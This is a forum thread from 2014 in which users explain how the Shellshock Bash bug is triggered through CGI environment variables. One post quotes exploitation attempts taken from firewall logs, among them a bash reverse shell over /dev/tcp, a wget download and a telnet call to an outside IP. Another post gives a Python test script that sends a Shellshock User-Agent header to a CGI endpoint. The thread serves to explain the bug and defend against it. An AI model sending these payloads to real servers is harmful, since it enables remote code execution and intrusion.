Everything you need to know about the Shellshock Bash bug • Hacker News Board

Re: Everything you need to know about the Shellshock Bash bug

#201

Post by regularfry » Thu, Sep 25, 2014, 6:02 PM UTC

candl wrote: post #192

sequoia wrote: post #138

Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables , so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. i…

I don't quite get it yet. Let's suppose someone sends a header like this: 'User-Agent:() { :; }; touch /tmp/shellshocked' Then in my cgi script I do a harmless system('date') call. The file /tmp/shellshocked won't be created right? The file would have been created had I done for example a system('echo $HTTP_USER_AGENT') call. (That is, one needs to explicitly reference the environment variable that gets passed to bas…

This is not my understanding. My understanding is that because this mechanism is intended to pass functions down to the system() call, all environment variables are parsed up front in case they contain any. Because the vulnerability lies in the parsing, it doesn't matter whether you reference the variable in the subsequent shell process or not.

Re: Everything you need to know about the Shellshock Bash bug

#202

Post by [deleted] » Thu, Sep 25, 2014, 6:04 PM UTC

bjackman wrote: post #198

sequoia wrote: post #138

Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables , so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. i…

Thanks. I'm still confused though: 1: Why does Bash "interpret" the environment variables' values? What is the expected result of setting a function definition as the value of an environment variable? In my worldview (which is clearly wrong) there is no reason for Bash to look at environment variables' values until they're evaluated. 2: This is probably besides the point: but since when is the empty string a valid fu…

[deleted]

Re: Everything you need to know about the Shellshock Bash bug

#203

Post by bjackman » Thu, Sep 25, 2014, 6:06 PM UTC

bjackman wrote: post #198

sequoia wrote: post #138

Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example): 1. Web server (apache) gets request to route to CGI script (PHP) 2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables , so PHP can access them 3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. i…

Thanks. I'm still confused though: 1: Why does Bash "interpret" the environment variables' values? What is the expected result of setting a function definition as the value of an environment variable? In my worldview (which is clearly wrong) there is no reason for Bash to look at environment variables' values until they're evaluated. 2: This is probably besides the point: but since when is the empty string a valid fu…

Aha, I found answers here: http://seclists.org/oss-sec/2014/q3/650

Basically, Bash interprets environment variables at start up as a means for you to pass functions into subshells. Whenever an environment variable's value starts with "() {", it is interpreted as a function, which is named according to the environment variable's name.

I guess even without the bug under discussion this feature is a theoretical security flaw. If you set your user agent to "() { ping your.domain.com}", a function named HTTP_USER_AGENT, which pinged your.domain.com would exist in any shellThe name of the function is passed as the Apache spawned. It's not hard to imagine a buggy script accidentally executing it.

Re: Everything you need to know about the Shellshock Bash bug

#204

Post by muyuu » Thu, Sep 25, 2014, 6:06 PM UTC

bodyfour wrote: post #144

muyuu wrote: post #88

Earlier quoted context omitted.

AFAIK bash is the default terminal shell in all Ubuntus. So yeah, you're affected.

The attack isn't against terminal shells. The biggest risk is against things that use the shell implicitly like system()/popen()/etc and they all use /bin/sh It's certainly possible to be at risk if, for instance, you had a CGI script that was specifically written in bash (i.e. starts with "#!/bin/bash") but that's a lot less likely. So definitely patch your Debian/Ubuntu/etc machines but do your Redhat-based ones (a…

By default I mean that new users are given bash as sh by default, including the users for daemon services. So unless you assigned a different shell, or the service specifically asked for a shell other than the default linked by /bin/sh, then they will be running bash.

Re: Everything you need to know about the Shellshock Bash bug

#205

Post by ktsmith » Thu, Sep 25, 2014, 6:11 PM UTC

jgrahamc wrote: post #39

This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…

Seeing a mix of some that don't do much of anything but I'm starting to see a bunch of new ones using telnet are now starting to pop up.

() { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22 () { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq

Re: Everything you need to know about the Shellshock Bash bug

#206

Post by argggh » Thu, Sep 25, 2014, 6:14 PM UTC

shangxiao wrote: post #184

IshKebab wrote: post #180

Earlier quoted context omitted.

I have no sympathy really for people who use `system()`-style calls, or bash in their web servers. Bash is fairly obviously designed with complete disregard for security. I seriously doubt this is its last major flaw. But anyway, is it really that common? I would have thought most CGI scripts are Python, Perl, PHP, etc. and don't use `system()` type calls. Right?

This is actually quite common and acceptable if you want to interact with a piece of software for which there is no library or api. One real world example is producing thumbnails from Word documents using Libre Office.

You don't have to do it explicitly either. In Perl, for instance, doing stuff like open($tgz, "|-", "gzip | tar -cvf /tmp/file.tgz"); is going to cause execution of /bin/sh behind the scenes. Assuming that /bin/sh is never called during processing of external requests is risky.

Re: Everything you need to know about the Shellshock Bash bug

#207

Post by avoid3d » Thu, Sep 25, 2014, 6:16 PM UTC

shangxiao wrote: post #175

informatimago wrote: post #170

Earlier quoted context omitted.

There is no intended use, it's a pure evil bug in bash. I wouldn't be surprised if it was discovered that it has been implanted intentionnally.

How can a bug be evil? Don't attach morals to things which should be amoral.

Its a joke, eval(uate) is evil...

Re: Everything you need to know about the Shellshock Bash bug

#208

Post by icedchai » Thu, Sep 25, 2014, 6:17 PM UTC

dkarl wrote: post #178

donatj wrote: post #4

So trying to understand the issue here, is this actually a bash thing or a problem with the web server forwarding commands to bash? I don't understand why bash would be listening to network traffic on its own.

That was my first question as well. The behavior sounds like exactly the kind of magical weirdness you get with shells. Your question is asked and answered here: https://stackoverflow.com/questions/26022248/is-the-behavior... The answer given there is that the behavior is NOT a documented feature; it's a side-effect of how bash implements inherited functions. I was also very confused about why a web server would need…

Apache isn't setting CGI variables using the shell. It may call a shell (indirectly or directly) when executing the CGI script.

Re: Everything you need to know about the Shellshock Bash bug

#209

Post by candl » Thu, Sep 25, 2014, 6:18 PM UTC

regularfry wrote: post #201

candl wrote: post #192

Earlier quoted context omitted.

I don't quite get it yet. Let's suppose someone sends a header like this: 'User-Agent:() { :; }; touch /tmp/shellshocked' Then in my cgi script I do a harmless system('date') call. The file /tmp/shellshocked won't be created right? The file would have been created had I done for example a system('echo $HTTP_USER_AGENT') call. (That is, one needs to explicitly reference the environment variable that gets passed to bas…

This is not my understanding. My understanding is that because this mechanism is intended to pass functions down to the system() call, all environment variables are parsed up front in case they contain any. Because the vulnerability lies in the parsing, it doesn't matter whether you reference the variable in the subsequent shell process or not.

Odd. I am running quite old software:

  echo $0 -> bash
  ls -l /bin/sh -> /bin/bash
  GNU bash, version 3.1.17(2)-release
  Apache/2.2.25

And I couldn't reproduce the vurnerability in a perl cgi script unless I had explicitly referenced an environment variable in the system() call like I posted above. I thought all versions are vurnerable.

  #test-cgi.pl
  use strict;
  use warnings;
  use CGI;
 
  print "Content-Type: text/plain\n\n";

  my $q = CGI->new();

  print "\nHEADERS:\n==============\n";
  my %headers = map { $_ => $q->http($_) } $q->http();
  foreach my $k ( keys %headers ) {
          print "$k\n $headers{$k}\n";
  }

  system("echo hello");


  #request.py
  import socket
  def build_request(meth, host, path, headers=None):
      req = "%s %s HTTP/1.0\r\nHost: %s\r\n" % (meth, path,   host)
      if headers is not None:
          req = req + "\r\n".join(headers) + "\r\n"  
      return req + "\r\n"

  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  ip_addr = 'xxx.xxx.xxx.xxx'
  sock.connect((ip_addr, 80))
  headers = [      
      'User-Agent:() { :; }; /bin/touch /tmp/testshellshock;',  
  ]
  req = build_request("GET", ipaddr, "/cgi-bin/test-cgi.pl", headers) 
  sock.sendall(req)

Re: Everything you need to know about the Shellshock Bash bug

#210

Post by sophacles » Thu, Sep 25, 2014, 6:20 PM UTC

jamroom wrote: post #197

sophacles wrote: post #165

Earlier quoted context omitted.

system() calls /bin/sh for you. If /bin/sh is linked to /bin/bash (a common thing), then it's exploitable. Under the hood, system("echo foo") does a fork, and in the child process does execv(["/bin/sh", "-c", "echo", "foo"], env...)

Yeah I get that - but surely just _calling_ /bin/bash isn't enough - you have to be able to pass in the arguments to bash that enable this exploit. And if you're not allowing user input into your system call, I still think this is a non issue in this scenario.

If php is being run from mod_cgi, then it is exploitable.

The full chain of the attack:

Request sent to the url, containing headers with '() { :;}; codehere'

Per CGI standard: environment variables are set with the attack code.

PHP is executed directly, with the environment containing the attack.

PHP calls system - the same environment is there, meaning the code is executed if /bin/sh points to bash.

N.B. - If /bin/sh is not bash, but the program executed by system() itself executes a call to system() which points to something explicitly calling a bash ( apply this if recursively), the exploit is triggered.

It's not about passing "arguments" on the command line, its about what the environment variables are. It's not always immediately obvious how the env vars are constructed - everyone points to CGI because it's a well known scenario, but there are plenty of other cases where environment variables are set from user data.

tl; dr - in any situation user input is used in environment variables, simply calling /bin/bash is enough.